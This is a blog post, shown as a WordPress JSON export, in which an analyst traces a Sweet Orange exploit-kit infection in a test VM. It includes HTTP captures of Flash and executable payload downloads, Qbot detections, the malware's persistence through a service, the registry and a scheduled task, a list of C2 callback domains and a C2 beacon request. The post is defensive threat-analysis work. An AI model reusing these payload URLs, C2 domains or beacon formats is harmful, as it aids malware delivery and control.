{"id":85,"date":"2015-02-15T20:14:56","date_gmt":"2015-02-15T20:14:56","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=85"},"modified":"2016-02-23T21:55:14","modified_gmt":"2016-02-23T21:55:14","slug":"15-02-2015-sweet-orange-infection","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=85","title":{"rendered":"15-02-2015 – Sweet Orange infection"},"content":{"rendered":"

So while at work the other day I came across an interesting alert that, thankfully, was not successful. The following is what I got once I got home and was able to run this on my test VM. So let the party begin!<\/p>\n

The start of the infection chain starts here via this site (which I searched from Google):<\/p>\n

hxxp[:]\/\/emmalinebride[.]com\/decor\/best-ombre-wedding-ideas\/&rct=j&frm=1&q=&esrc=s&sa=U&ei=i7zbVLvYHovdatCRgqgF&ved=0CBQQFjAA&usg=AFQjCNEcGHpoa885u50SmO64kUXJ_gUH-Q<\/p><\/blockquote>\n

Once the page loaded, there was an interesting call on port 8085 as you can see below:<\/p>\n

GET \/adm\/lines.php?norway=3 HTTP\/1.1
\nAccept: application\/x-ms-application, image\/jpeg, application\/xaml+xml, image\/gif, image\/pjpeg, application\/x-ms-xbap, *\/*
\nReferer: http:\/\/emmalinebride.com\/decor\/best-ombre-wedding-ideas\/
\nAccept-Language: en-US
\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
\nAccept-Encoding: gzip, deflate
\nHost: h.nsfleamarket.com:8085
\nConnection: Keep-Alive<\/p>\n

HTTP\/1.1 200 OK
\nServer: nginx\/1.6.2
\nDate: Wed, 11 Feb 2015 20:33:12 GMT
\nContent-Type: text\/html
\nTransfer-Encoding: chunked
\nConnection: keep-alive
\nContent-Encoding: gzip<\/p><\/blockquote>\n

We then see a call to the same address but for a Flash file:<\/p>\n

GET \/adm\/qwznR2NOdsH0OR HTTP\/1.1
\nAccept: *\/*
\nAccept-Language: en-US
\nReferer: http:\/\/h.nsfleamarket.com:8085\/adm\/lines.php?norway=3
\nx-flash-version: 15,0,0,167
\nAccept-Encoding: gzip, deflate
\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
\nConnection: Keep-Alive
\nHost: h.nsfleamarket.com:8085<\/p>\n

HTTP\/1.1 200 OK
\nServer: nginx\/1.6.2
\nDate: Wed, 11 Feb 2015 20:33:18 GMT
\nContent-Type: application\/x-shockwave-flash
\nContent-Length: 7907
\nConnection: keep-alive<\/p>\n

ZWS.FG……].. ..;…….f..=>..uo.\\…2.rWgo.S]!…..[….IET….~’>…….$…W.D-.`V.o3…%(+..f…sg.}=…Yp….\\…….SCU\\{P7.S.1…W.Cd&K..
\n…..a..!D#{.|(….T..&i.{3….._..].%..-..A.\\|c..V|…M.I……&.#…..%…..N….Y..h.`*..;]b.l.2…….~Rs.P..<…….7a.R..’.I..0..`….
\nD…….r\\..Q…<\/p><\/blockquote>\n

The interesting thing about this file is the “magic number<\/a>” in the packet. Generally I have seen Flash exploits using “CWS” meaning I can use 7Zip to open the archive up and take a look. With this one, this was not the case. So Googling around I came across this interesting SANS article<\/a> on analyzing malicious SWF files. After a quick search in Homebrew to see if swftools<\/em> was listed, I installed it and proceeded to do a quick look at the Flash file from the PCAP:<\/p>\n

mine:~ guido$ swfdump Desktop\/Xeacdqf\/flash.swf
\nDesktop\/Xeacdqf\/flash.swf is not a valid SWF file or contains errors.<\/p><\/blockquote>\n

Further poking of this file with a stick yielded no luck or results as everything came back with it stating that it was not a valid Flash file, and nothing was in it when I looked at it via strings<\/em>. So at this time I am unsure what type of Flash exploit this is.<\/p>\n

From there we then see the next call on port 8085:<\/p>\n

GET \/cars.php?class=240&timeline=4&plus=2663&image=171&hand=2679&trans=2605&apps=466&fixutil=errfix HTTP\/1.1
\nConnection: Keep-Alive
\nAccept: *\/*
\nUser-Agent: Mozilla\/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
\nHost: k.useditems.ca:8085<\/p>\n

HTTP\/1.1 200 OK
\nServer: nginx\/1.6.2
\nDate: Wed, 11 Feb 2015 20:33:18 GMT
\nContent-Type: application\/octet-stream
\nContent-Length: 237960
\nConnection: keep-alive<\/p>\n

MZ………………….@………………………………………..!..L.!This program cannot be run in DOS mode.<\/p><\/blockquote>\n

\"Properties<\/a>

Properties of the errfix.exe file<\/p><\/div>\n

Interesting part of this file is that it is also digitally signed as you can below:<\/p>\n

\"Errfix.exe<\/a><\/p>\n

The file was placed in the\u00a0C:\\Users\\%username%\\AppData\\Local\\Temp<\/em> folder. Results from VirusTotal for this particular file show up:<\/p>\n

\n

CT> vt 57
\nVirusTotal result for object 57 (qwznR2NOdsH0OR):<\/p>\n

Detection: 2\/57
\nLast Analysis Date: 2015-02-12 07:13:39
\nReport Link: http:\/\/www.virustotal.com\/file\/fd4e5d7ae793800b7a293564ee1c3d3d736e7c113594772e3f8c2e8e8c8a9a16\/analysis\/1423725219\/<\/a><\/p>\n

Scan Result:
\nSophos\u00a0\u00a0 \u00a0Troj\/SWFExp-FK\u00a0\u00a0 \u00a04.98.0\u00a0\u00a0 \u00a020150212
\nQihoo-360\u00a0\u00a0 \u00a0heur.swf.rate.a\u00a0\u00a0 \u00a01.0.0.1015\u00a0\u00a0 \u00a020150212<\/p><\/blockquote>\n

We then see the next executable being downloaded to the VM:<\/p>\n

\n

GET \/cars.php?class=240&timeline=4&plus=2663&image=171&hand=2679&trans=2605&apps=466 HTTP\/1.1
\nAccept: *\/*
\nAccept-Encoding: gzip, deflate
\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
\nHost: k.useditems.ca:8085
\nConnection: Keep-Alive<\/p>\n

HTTP\/1.1 200 OK
\nServer: nginx\/1.6.2
\nDate: Wed, 11 Feb 2015 20:35:19 GMT
\nContent-Type: application\/octet-stream
\nContent-Length: 237960
\nConnection: keep-alive<\/p>\n

MZ………………….@………………………………………..!..L.!This program cannot be run in DOS mode.<\/p><\/blockquote>\n

\"xeacdqf.exe<\/a><\/p>\n

Interesting part of this file is that it is also digitally signed like the one from above:<\/p>\n

\"xeacdqf.exe<\/a><\/p>\n

The file was placed in the\u00a0C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Xeacdqf<\/em> folder. Results from VirusTotal for this particular file show up as well:<\/p>\n

\n

CT> vt 189
\nVirusTotal result for object 189 (cars.php):<\/p>\n

Detection: 7\/57
\nLast Analysis Date: 2015-02-12 18:13:22
\nReport Link: http:\/\/www.virustotal.com\/file\/846031769efc64321651191543424f096a8f584bc8ea64c6828ac34b36a84dfe\/analysis\/1423764802\/<\/a><\/p>\n

Scan Result:
\nCMC\u00a0\u00a0 \u00a0Packed.Win32.Hrup.2!O\u00a0\u00a0 \u00a01.1.0.977\u00a0\u00a0 \u00a020150211
\nMalwarebytes\u00a0\u00a0 \u00a0Trojan.Agent.ED\u00a0\u00a0 \u00a01.75.0.1\u00a0\u00a0 \u00a020150212
\nByteHero\u00a0\u00a0 \u00a0Virus.Win32.Heur.e\u00a0\u00a0 \u00a01.0.0.1\u00a0\u00a0 \u00a020150212
\nAvira\u00a0\u00a0 \u00a0TR\/Crypt.ZPACK.86072\u00a0\u00a0 \u00a07.11.209.218\u00a0\u00a0 \u00a020150212
\nESET-NOD32\u00a0\u00a0 \u00a0Win32\/Qbot.BG\u00a0\u00a0 \u00a011166\u00a0\u00a0 \u00a020150212
\nRising\u00a0\u00a0 \u00a0PE:Malware.XPACK-LNR\/Heur!1.5594\u00a0\u00a0 \u00a025.0.0.17\u00a0\u00a0 \u00a020150212
\nQihoo-360\u00a0\u00a0 \u00a0HEUR\/QVM20.1.Malware.Gen\u00a0\u00a0 \u00a01.0.0.1015\u00a0\u00a0 \u00a020150212<\/p><\/blockquote>\n

Outside of dropping an executable file, it also dropped a DLL file called xeacdq.dll<\/em>. Now here is where it gets interesting. Further investigation shows that the executable file is now a new service that is set to automatically start, but when started fails immediately.<\/p>\n

\"Windows<\/a><\/p>\n

Now seeing that a new service was installed, I decided to go looking through the registry to see if there was any other signs of this file (Xeacdqf*) installed somewhere else. Not the most efficient way of doing things, but a simple manual search yielded something else outside of the standard HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run<\/em> location (which was there by the way):<\/p>\n

\n

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{562C29E4-3F31-491E-93F7-C03038AE7617}
\nValue Data \u2014> \\sysxeacdqfdde<\/p>\n<\/blockquote>\n

So looking at the Task Scheduler I did see a new entry there:<\/p>\n

\"Windows<\/a><\/p>\n

I then proceeded to go and look at the file in C:\\Users\\%username%\\AppData\\Local\\Microsoft<\/em> to see what was there and to see what was actually in the file. From the looks of it, the file is a config file with a list of callback domains in it as well as you can see below (the list of the callbacks):<\/p>\n

\n

nfzjkleqayejahnnwg.org;
\nwgbytalhgknoan.biz;
\nbxtxmnjhxuhxfoyhdzwsfq.biz;
\njsuahyejwjwlapcnrsnyex.info;
\nazndjbxczsw.orgicnykcskgyoffppr.org;
\nzqtgohhobqdqtfgcjafrf.org;
\niarnanwgecnxpolngeyudxjrx.org;
\ncdirjxrqrszeguobrhls.org;
\nkeecvqcbjrogprboikw.bizcsvrauovjaibsasyzeo.org;
\ncoufldglttwozqhdxgz.biz;
\nhkkvqjjzpodlsthswsupydsrs.info;
\nqgtnzxpnpgnozjhpiathjqq.info;
\nzavquxkntscbtwsudeis.orgcqtqzroab.com;
\njjxvhvzmzowqqkmq.net;
\nyflawruqqxaiaptundd.org;
\nkwlwtmrbakklognpwss.net;
\nurewhcgyjocqzlthmpwf.com;
\nqdpgrzesnnodsgrafecklaxpb.biz;
\nscfcgysgeouqvcjp.info;
\ntgfuzlqdfqzuzascrnbhe.com;
\nwxhlloterlldxa.biz;
\nuzxnldpnikuhegmxgralcd.comuvxhzlybcacnbvg.org;
\nmvxpehjudkxezuazkt.net;
\niporooljeteuckhibfmxs.org;
\nmqaqyrcqzltddqx.org;
\nxfniqbczwzrwv.netziuqiphafsnqjiajepofzl.net;
\nsjocavwnceyqhvapfwaddsk.biz;
\ndvnqluiczdzjcfip.net;
\nicdewfhghewdsgwqxxskf.org;
\nsmplnxhdfgzmqqrght.bizmmhfsftstykkgnpwzenmxqk.com;
\nazfynuusfstva.org;
\nqwfruwgmdjvhm.net;
\ntbdzatkxcyvefhtpebahh.org;
\ncsgbedty.org;
\nysjtkihfnguporhclzzfgvbm.net;
\nvabfvuvkrxgonwnzhuoqidwig.info;
\nigjsrseywbyb.info;
\nhddhipgxgwwlfpb.info;
\nobsdtvbtfnyvxtguedoppmtu.netftjynxqnernrnvhrpqbnyd.org;
\nzurghalnoxtqlmweahgwoymoz.info;
\nljfsqtzdwg.biz;
\nhuagibdvttnfanrkpsnzmpys.biz;
\njszgqgpqggvvf.biznofonfgwyeuae.org;
\nezumhyktdxyjnagmf.com;
\nyxaoyogrmqkdzmyhyz.biz;
\njdyuimcqrnymljt.org;
\nvnedyeywiggmrpagczxxy.orgcgiosyosodmloumoytym.org;
\noviudqdi.org;
\ngpdhxlbxzyyp.net;
\nrjmczbjbsysmuoibujx.net;
\nbnrnoflhp.info;<\/p>\n<\/blockquote>\n

I also see some files that have been generated over the course of a couple days that seem to be ran from the scheduled task in the C:\\Users\\%systemroot%\\AppData\\Local\\Temp<\/em> folder that have been saved as a random character string.<\/p>\n

\"Random<\/a><\/p>\n

Looking at the PCAP once again to see what kind of call backs have been made, I see the following:<\/p>\n

\n

POST \/fJSGeuPnNnq.php HTTP\/1.1
\nAccept: *\/*
\nContent-Type: application\/x-www-form-urlencoded
\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
\nHost: wgbytalhgknoan.biz
\nContent-Length: 168
\nPragma: no-cache
\nn=2075&m=cDVqHjoc2DfE6mCjPl297szBhohF1usg2IsYO7HKoFw6YjYQSk0FSSrTgmmaTRfpKYLm+Rry0JFRa7VdtqnpZea0uItRbpvDvHojFATS69+SXX\/cYRSX3oGDnGjQzaiPlIr7gJ2ADDGY+MM9THPP&v=8&g=2136<\/p>\n

HTTP\/1.1 200 OK
\nDate: Wed, 11 Feb 2015 20:35:52 GMT
\nServer: Apache\/2.2.24 (Unix) mod_ssl\/2.2.24 OpenSSL\/1.0.0-fips mod_auth_passthrough\/2.1 mod_bwlimited\/1.4 mod_fcgid\/2.3.6
\nExpires: Thu, 01 Dec 1994 16:00:00 GMT
\nCache-control: no-cache
\nContent-length: 108
\nContent-Type: text\/html; charset=UTF-8
\nsO4jE1FH+y3eXjTVmvnu\/I8bIY578zfSrRI5oIjt9YrpRIMUhR7mEQCIrsL1r9fIENyC6s1zRGtBq6i7uCNuDH5XO7duBsw2ksX2hgpVHA==<\/p>\n

GET \/ HTTP\/1.1
\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
\nHost: www.ip-adress.com
\nPragma: no-cache<\/p>\n

HTTP\/1.1 200 OK
\nDate: Wed, 11 Feb 2015 20:36:05 GMT
\nServer: Apache
\nX-Powered-By: PHP\/5.3.3-7+squeeze8
\nSet-Cookie: p=1; expires=Thu, 12-Feb-2015 20:36:05 GMT; path=\/
\nCache-Control: max-age=1
\nExpires: Wed, 11 Feb 2015 20:36:06 GMT
\nVary: Accept-Encoding
\nTransfer-Encoding: chunked
\nContent-Type: text\/html<\/p>\n<\/blockquote>\n

Here are the rule-sets that where triggered from Security Onion using the ET rule-sets when I was going through this test:<\/p>\n

\"Security<\/a><\/p>\n

Here is also what I could find on the infected VM with the Xeacdqf<\/em> in the name of a process or thread:<\/p>\n

\"Processes:Threads\"<\/a><\/p>\n

The PCAP for this infection chain can be found here<\/a> with the artifacts from the infection in this\u00a0zip file<\/a> (normal password of infected).<\/p>\n","protected":false},"excerpt":{"rendered":"

So while at work the other day I came across an interesting alert that, thankfully, was not successful. The following is what I got once I got home and was able to run this on my test VM. So let the party begin! The start of the infection chain starts here via this site (which I searched from Google): hxxp[:]\/\/emmalinebride[.]com\/decor\/best-ombre-wedding-ideas\/&rct=j&frm=1&q=&esrc=s&sa=U&ei=i7zbVLvYHovdatCRgqgF&ved=0CBQQFjAA&usg=AFQjCNEcGHpoa885u50SmO64kUXJ_gUH-Q Once the page loaded, there was an interesting call on port 8085 as you can see below: GET \/adm\/lines.php?norway=3 HTTP\/1.1 Accept: application\/x-ms-application, image\/jpeg, application\/xaml+xml, image\/gif, image\/pjpeg, application\/x-ms-xbap, *\/* Referer: http:\/\/emmalinebride.com\/decor\/best-ombre-wedding-ideas\/ Accept-Language: en-US User-Agent: Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1;…<\/p>\n

Continue reading<\/span><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-85","post","type-post","status-publish","format-standard","hentry","category-packet-analysis"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/85","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=85"}],"version-history":[{"count":3,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/85\/revisions"}],"predecessor-version":[{"id":98,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/85\/revisions\/98"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=85"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=85"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=85"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}